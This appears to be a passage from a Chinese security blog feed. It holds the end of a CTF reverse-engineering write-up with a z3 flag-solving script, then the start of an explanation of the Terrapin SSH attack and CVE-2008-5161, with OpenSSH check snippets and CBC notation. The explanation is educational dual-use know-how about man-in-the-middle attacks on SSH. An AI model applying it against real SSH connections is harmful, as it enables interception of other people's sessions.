class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">BITS = <span class="number">8</span></span><br><span class="line"><span class="comment"># target = 0x66de3c1bf87fdfcf</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Solver, which will help to get answer</span></span><br><span class="line">solver = Solver()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">flags = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x20</span>):</span><br><span class="line">    each_flag = BitVec(<span class="string">&quot;flag%d&quot;</span>%i ,BITS)</span><br><span class="line">    flags.append(each_flag)</span><br><span class="line">    solver.add(each_flag &lt;= <span class="number">0x7f</span>)</span><br><span class="line">    solver.add(each_flag &gt;= <span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># [2, 6, 1, 15, 13, 12, 4, 7, 10, 0, 5, 8, 11</span></span><br><span class="line"><span class="comment"># , 14, 9, [3], 20, 23, 19, 25, 30, </span></span><br><span class="line">solver.add(flags[<span class="number">2</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;w&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">6</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;e&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">1</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;0&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">15</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;D&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">13</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;3&#x27;</span>),flags[<span class="number">13</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;R&#x27;</span>)))</span><br><span class="line">solver.add(Or(flags[<span class="number">12</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;3&#x27;</span>),flags[<span class="number">12</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;R&#x27;</span>)))</span><br><span class="line">solver.add(flags[<span class="number">4</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;0&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">7</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;_&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">10</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;_&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">0</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;l&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">5</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;d&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">8</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;i&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">11</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;t&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">14</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;n&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">9</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;5&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27; &#x27;</span>),flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;\&#x27;&#x27;</span>),</span><br><span class="line">              flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;6&#x27;</span>),flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;Q&#x27;</span>),</span><br><span class="line">              flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;T&#x27;</span>),flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;X&#x27;</span>),</span><br><span class="line">              flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;c&#x27;</span>),flags[<span class="number">3</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;v&#x27;</span>),))</span><br><span class="line">solver.add(flags[<span class="number">20</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;7&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">23</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;n&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">19</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;_&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">25</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;h&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">30</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;2&#x27;</span>),flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;j&#x27;</span>)))</span><br><span class="line">solver.add(Or(flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27; &#x27;</span>),flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;\&#x27;&#x27;</span>),</span><br><span class="line">              flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;6&#x27;</span>),flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;Q&#x27;</span>),</span><br><span class="line">              flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;T&#x27;</span>),flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;X&#x27;</span>),</span><br><span class="line">              flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;c&#x27;</span>),flags[<span class="number">24</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;v&#x27;</span>),))</span><br><span class="line"><span class="comment"># 24, 31, 28, 18, 26, 27, 17, 22, 29, 16, 21]</span></span><br><span class="line">solver.add(flags[<span class="number">31</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;n&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">28</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;2&#x27;</span>),flags[<span class="number">28</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;j&#x27;</span>)))</span><br><span class="line">solver.add(flags[<span class="number">18</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;G&#x27;</span>))</span><br><span class="line">solver.add(flags[<span class="number">26</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;d&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">27</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;1&#x27;</span>),flags[<span class="number">27</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)))</span><br><span class="line">solver.add(flags[<span class="number">17</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;n&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">22</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;2&#x27;</span>),flags[<span class="number">22</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;j&#x27;</span>)))</span><br><span class="line">solver.add(Or(flags[<span class="number">29</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;1&#x27;</span>),flags[<span class="number">29</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)))</span><br><span class="line">solver.add(flags[<span class="number">16</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;i&#x27;</span>))</span><br><span class="line">solver.add(Or(flags[<span class="number">21</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;1&#x27;</span>),flags[<span class="number">21</span>] == <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">flag_start = [<span class="number">0x64</span>,<span class="number">0x69</span>,<span class="number">0x63</span>,<span class="number">0x65</span>,<span class="number">0x7b</span>]</span><br><span class="line">flag_end = [<span class="number">0x7d</span>]</span><br><span class="line"></span><br><span class="line">total_flag = flag_start + flags + flag_end</span><br><span class="line"></span><br><span class="line">res = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(total_flag)-<span class="number">1</span>):</span><br><span class="line">    res = res ^ i ^ total_flag[i] ^ (total_flag[i]*<span class="number">0xe</span>+total_flag[i+<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line">res = res + total_flag[<span class="built_in">len</span>(total_flag)-<span class="number">1</span>]*<span class="number">7</span></span><br><span class="line"></span><br><span class="line">solver.add(res == <span class="number">0x784</span>)</span><br><span class="line"></span><br><span class="line">t1 = [<span class="number">2</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="number">15</span>, <span class="number">13</span>, <span class="number">12</span>, <span class="number">4</span>, <span class="number">7</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">11</span>, <span class="number">14</span>, <span class="number">9</span>, <span class="number">3</span>]</span><br><span class="line">t2 = [<span class="number">0x04</span>, <span class="number">0x07</span>, <span class="number">0x03</span>, <span class="number">0x09</span>, <span class="number">0x0E</span>, <span class="number">0x08</span>, <span class="number">0x0F</span>, <span class="number">0x0C</span>, <span class="number">0x02</span>, <span class="number">0x0A</span>, <span class="number">0x0B</span>, <span class="number">0x01</span>, <span class="number">0x06</span>, <span class="number">0x0D</span>, <span class="number">0x00</span>, <span class="number">0x05</span>]</span><br><span class="line">flag_s1 = flags[:<span class="number">0x10</span>]</span><br><span class="line">flag_s2 = flags[<span class="number">0x10</span>:]</span><br><span class="line">remap_s1 = [flag_s1[i] <span class="keyword">for</span> i <span class="keyword">in</span> t1]</span><br><span class="line">remap_s2 = [flag_s2[i] <span class="keyword">for</span> i <span class="keyword">in</span> t2]</span><br><span class="line">reorg_t = t1</span><br><span class="line">reorg_t += [i + <span class="number">0x10</span> <span class="keyword">for</span> i <span class="keyword">in</span> t2]</span><br><span class="line"></span><br><span class="line">res = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i,each <span class="keyword">in</span> <span class="built_in">enumerate</span>(remap_s2):</span><br><span class="line">    <span class="keyword">if</span> i &amp; <span class="number">1</span>:</span><br><span class="line">        res = remap_s2[i&amp;<span class="number">0xf</span>] * <span class="number">0xee</span> + res</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        res = remap_s2[i&amp;<span class="number">0xf</span>] * <span class="number">0x1604b</span> + res</span><br><span class="line"></span><br><span class="line"><span class="comment"># solver.add(res == 0x365c292)</span></span><br><span class="line">solver.add(res == <span class="number">0x369e9f5</span>)</span><br><span class="line"><span class="comment"># 0x369e9f5</span></span><br><span class="line"></span><br><span class="line">res = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i,each <span class="keyword">in</span> <span class="built_in">enumerate</span>(remap_s1):</span><br><span class="line">    <span class="keyword">if</span> i &amp; <span class="number">1</span>:</span><br><span class="line">        res = remap_s1[i&amp;<span class="number">0xf</span>] * <span class="number">0xee</span> + res</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        res = remap_s1[i&amp;<span class="number">0xf</span>] * <span class="number">0x1604b</span> + res</span><br><span class="line"></span><br><span class="line"><span class="comment"># solver.add(res == 0x369e9f5)</span></span><br><span class="line">solver.add(res == <span class="number">0x365c292</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># import string</span></span><br><span class="line"><span class="comment"># # try add mapping solver</span></span><br><span class="line"><span class="comment"># for each_c in flags:</span></span><br><span class="line"><span class="comment">#     for c in string.printable:</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ans = []</span><br><span class="line"><span class="comment"># and calculate answer</span></span><br><span class="line"><span class="keyword">while</span> solver.check() == sat:</span><br><span class="line">    model = solver.model()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># print(model)</span></span><br><span class="line">    ans.append(model)</span><br><span class="line">    flag = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> each_flag <span class="keyword">in</span> flags:</span><br><span class="line">        flag += <span class="built_in">chr</span>(model[each_flag].as_long())</span><br><span class="line">    <span class="built_in">print</span>(flag)</span><br><span class="line">    solver.add(Or([ model[v]!=v <span class="keyword">for</span> v <span class="keyword">in</span> flags]))</span><br></pre></td></tr></table></figure><p>最终在这个约束下，能够求得唯一的flag。</p><h2 id="总结">总结</h2><p><strong>关于题目回顾</strong><br>在看到官方给出的出题脚本之后，感觉依然没办法判断具体是哪种语言，感觉可能是一种叫做<code>racket</code>的编程语言。这种编程语言的思想其实很有意思，假设根据这种程序的编译结果来看，这些Block之间其实感觉是可以并发执行的。之前也和朋友讨论过，这种设计可能会导致cache命中出现问题，但是好像又增加了并发的可能。以后有空的话可以进一步学习这种有趣的编程语言</p><p><strong>关于做题总结</strong><br>这一次做题比上一次花了更长的时间。虽然一直都是做逆向出身，也做过逻辑特别复杂的题目，但是好像每次我都只能应付很小类型的题目。这次的题目其实回头看，当时挣扎的点都正好就是题目的难点：</p><ul><li>是否应该把Block dump下来？还是考虑用angr符号执行来做</li><li>是否应该使用Edge将Block串联起来？这个过程会不会浪费很多时间？参数的顺序又是怎么样子的呢？</li><li>未初始化情况下Dump的Block似乎没有参考价值？是不是不应该这么做呢（后来想到了可以再最后阶段进行dump）</li><li>如此多的约束仍然求不出答案（当时没考虑maze的约束）是不是解题思路不对呢？</li><li>maze这么长的迷宫，果然还是应该用算法做吧，但是最短路径总是算的不对（最后直接使用手走迷宫）</li></ul><p>每次迷茫的时候，其实心里都有正确答案，却一直在担心没有找到最优解而没有做下去。看起来比起pwn题，逆向更加需要比较坚定的信念和定力，也许确实更加考验做题人的精神力（笑）</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;周末有空打了个比赛，成功的爆零了（实际上队友做得很快，我自己倒是一个都没做出来）。比赛结束之后感觉这个题目依然挺有意思的，试着研究了一下，这里记录一下这个题目的做题过程&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文首发于奇安信攻防社区 &lt;a href=&quot;https://forum.butian.net/share/2770&quot;&gt;https://forum.butian.net/share/2770&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="obfuscation" scheme="https://showlinkroom.me/tags/obfuscation/"/>
    
    <category term="data flow" scheme="https://showlinkroom.me/tags/data-flow/"/>
    
  </entry>
  
  <entry>
    <title>Terrapin-Attack-学习2</title>
    <link href="https://showlinkroom.me/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/"/>
    <id>https://showlinkroom.me/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/</id>
    <published>2024-01-21T09:18:11.000Z</published>
    <updated>2024-02-13T13:39:19.810Z</updated>
    
    <content type="html"><![CDATA[<p>有了上篇的铺垫，这按开始正式的讲解Terrapin Attack</p><blockquote><p>本文首发于破壳平台 <a href="https://mp.weixin.qq.com/s/axiHYAu54MdnMNKpJYGHbQ">https://mp.weixin.qq.com/s/axiHYAu54MdnMNKpJYGHbQ</a></p></blockquote><span id="more"></span><h2 id="terrapin-attack">Terrapin Attack</h2><p>这个漏洞是由<a href="https://terrapin-attack.com/">这边的几个安全研究员</a>提出的漏洞。这个漏洞是一个基于MITM（Man-in-the-Middle 中间人，下文简称MITM）的攻击，这意味着，这个漏洞攻击的场景至少要存在如下的场合:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">+----------+      +----------+         +----------+</span><br><span class="line">|          &lt;------+          &lt;---------+          |</span><br><span class="line">| Alice    |      |   Evil   |         |  Bob     |</span><br><span class="line">|          |      |          |         |          |</span><br><span class="line">|          |      |          |         |          |</span><br><span class="line">|          +-----&gt;|          +---------&gt;          |</span><br><span class="line">+----------+      +----------+         +----------+</span><br></pre></td></tr></table></figure><p>这个漏洞是针对SSH的<strong>通信完整性</strong>发起的攻击，并且攻击者不具备对于会话相关密钥信息的知识，包含但不限于：</p><ul><li>加密内容的密钥</li><li>MAC使用的nonce</li><li>IV</li></ul><p>所以这个问题不是一个简单的内存泄露或者逻辑漏洞。同时该攻击的一个重要的攻击面在于降低了SSH的防护措施，突破了SSH的<strong>通信完整性</strong>，从而使得之前出现过的攻击能够重新被利用。</p><h3 id="通信完整性定义">通信完整性定义</h3><blockquote><p>When a secure channel between A and B is used, the data stream received by B should be identical to the one sent by A and vice versa</p></blockquote><p>说白了，双方的通信都必须能够明确知道来自对方，这就是通信完整性</p><h3 id="如何算是对ssh发起攻击">如何算是对SSH发起攻击</h3><p>首先在讨论上述攻击的时候吗，首先要明确目标。SSH协议设计的时候是以<strong>通信完整</strong>为前提进行设计的，此时SSH通信的时候能够保证信息的完整性(integrity)，这样就意味着其具备<strong>防御MITM</strong>的能力。<br>所以当SSH不再具备防御<strong>MitM</strong>攻击的时候，其实就可以认为对SSH完成了攻击。实际上，Terrapin提出的漏洞模型中，个人理解有一些仅需对SSH途径的路由进行控制，并且能进行Sniffer和重放，即可完成攻击。</p><h2 id="ssh-历史问题">SSH 历史问题</h2><p>SSH历史上出现过很多问题，其中有几个比较有趣，这边就选取这几个进行讲解</p><h3 id="ssh前置知识补充">SSH前置知识补充</h3><p>SSH通信的大致流程如下：</p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn01.png" alt="SSH 通信使用的diffie-hellman"></p><p>其中，这种通信协议被称为<strong>Binary Packet Protocol BPP</strong>，也就是<strong>二进制通信协议</strong>。并且在这里给出几个基础定义：</p><ul><li>Packet： 网络数据发送的最小单位</li><li>Block：加密操作的最小单位</li></ul><p>二者关系为：SSH的数据包以Packet为单位发送，每一个Packet中包含多个block。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Block0         Block1        Block2</span><br><span class="line">+-------------+-------------+-------------+---</span><br><span class="line">|   Length    |padding| Payload         </span><br><span class="line">+-------------+-------------+-------------+---</span><br><span class="line">Packet0</span><br></pre></td></tr></table></figure><h3 id="cve-2008-5161-针对m-e的攻击">CVE-2008-5161 针对M&amp;E的攻击</h3><p><em>注意：这个问题其实在后来被证实为可能存在一定的问题，可能只有在某些理想化状态下能够使用。不过这个攻击实在是有趣，这边介绍一下这个攻击思路</em></p><p>这个漏洞是一片发在<a href="https://ieeexplore.ieee.org/document/5207634">IEEE的文章</a>提出来的，这里有<a href="https://conferences.computer.org/sp/pdfs/sp/2009/oakland2009-01.pdf">链接</a><br>漏洞发生在ssh对于之前提到的<code>M&amp;E</code>实现过程中的问题，属于是协议的级别的问题。由于SSH通信过程为加密过程，其不能无限制的接受数据包，所以其在进行数据解析的时候，会按照Block解密。然而就是在其进行解密前的安全检查中，形成了这个漏洞的利用点。接下来来看一下这些错误检查点：</p><h4 id="ssh与出错审计">SSH与出错审计</h4><p>整个安全检查分为好多步骤，我们着重观察以下步骤</p><ol><li>进行长度check</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">if (packet_length &lt; 1 + 4 || packet_length &gt; 256 * 1024) &#123;</span><br><span class="line">buffer_dump(&amp;incoming_packet);</span><br><span class="line">packet_disconnect(&quot;Bad packet length%d.&quot;,packet_length); </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的<code>packet_length</code>为从第一个数据包中解密的数据。这个检查用于防止写的过大导致的DDos问题。进行长度检测时，SSH允许的数据长度为<code>[5,256 × 1024]</code>之间。（这里注意很重要）</p><ol start="2"><li>进行Block的check</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">need = <span class="number">4</span> + packet_length - block_size</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (need % block_size != <span class="number">0</span>)</span><br><span class="line">fatal(<span class="string">&quot;padding error: eed %d block %d mod %d&quot;</span>, eed, block_size, need % block_size);</span><br></pre></td></tr></table></figure><p>其中<code>block_size</code>会随着我们选择的加密算法变化而变化，但是总的来说为固定值且为8的倍数。这里的need表示仍然需要接受的数据长度；如果此时的数据不是对齐的状态，则此时认为传输数据有误，此时会<strong>放弃当前通信，而不进行数据返回</strong></p><ol start="3"><li>进行MAC的check</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (buffer_len(&amp;input) &lt; need + maclen)</span><br><span class="line"><span class="keyword">return</span> SSH_MSG_NONE;</span><br></pre></td></tr></table></figure><p><code>buffer_len(&amp;input)</code>表示此时接受了的数据长度，<code>maclen</code>则是在SSH协议中的<code>SSH MAC</code>中指定的一个长度，根据使用的MAC不同而变化，<em>例如<code>hmac-sha1</code>的长度为20</em><br>如果这个Check不通过，SSH则会抛出一个叫做<code>Corrupted MAC on input.</code>的错误信息。</p><p>总结一下这几个check的行为，可以得出如下的现象：</p><table><thead><tr><th>检查内容</th><th>检查未通过行为</th></tr></thead><tbody><tr><td>Packet Length</td><td>连接断开，并且发送一个错误信息</td></tr><tr><td>Block 是否 对齐</td><td>连接断开</td></tr><tr><td>输入长度是否过长</td><td>返回错误信息</td></tr><tr><td>检查均通过</td><td>持续等待</td></tr></tbody></table><h3 id="ssh-中间人攻击">SSH 中间人攻击</h3><p>现在假设我们作为攻击者，能够从中间截获数据包。此时我们做出如下的假设</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span></span></span></span>为每一个block加解密使用的key</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">F_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>为加密操作，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>F</mi><mi>K</mi><mrow><mo>−</mo><mn>1</mn></mrow></msubsup></mrow><annotation encoding="application/x-tex">F_K^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.14777em;vertical-align:-0.293531em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.854239em;"><span style="top:-2.4064690000000004em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.1031310000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.293531em;"><span></span></span></span></span></span></span></span></span></span>为解密操作</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">L</span></span></span></span>为Block Size（3ds中L=8， aes中L=16）</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">p_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>为第i个明文block</li></ul><p>对于CBC模式的加密算法，存在一系列的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>p</mi><mn>2</mn></msub><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_1,p_2,...p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，此时有:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mi>i</mi></msub><mo>=</mo><msub><mi>F</mi><mi>K</mi></msub><mo stretchy="false">(</mo><msub><mi>p</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>c</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi>i</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">c_i = F_K(p_i) {\oplus} c_{i-1}, i=1,2,...n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span 